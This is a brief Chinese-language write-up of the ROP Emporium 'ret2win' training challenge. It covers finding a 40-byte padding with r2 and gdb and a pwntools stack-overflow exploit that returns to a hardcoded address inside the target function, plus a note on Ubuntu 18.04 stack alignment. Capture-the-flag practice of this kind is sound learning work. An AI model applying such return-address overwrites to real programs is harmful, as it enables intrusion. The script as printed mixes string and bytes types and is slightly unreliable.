ret2win
整个过程遇到了许多的坑,系统是ubuntu 18.04.
环境: ubuntu18.04 、 pwntools(py3)
题目
https://ropemporium.com/challenge/ret2win.html
checksec

r2

发现是fgets

可以看出来要ret到这个函数里面
gdb


padding应该有40位。
构造相应的payload
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
elf = context.binary = ELF('./ret2win') info('%#x target', elf.symbols.ret2win)
io = process(elf.path)
payload = "A" * 40 + p64(0x400824) io.sendline(payload) flag=io.recvall() success(flag)
|

一个坑
ubuntu18.04下 覆盖的ret地址不能是ret2win的函数开始地址,应该是对应的system地址。
原因好像是18.04在内存对齐上有特殊的要求,等研究好了这里会补充
https://ropemporium.com/guide.html#Common%20pitfalls
问题原理:http://homura.cc/blog/archives/168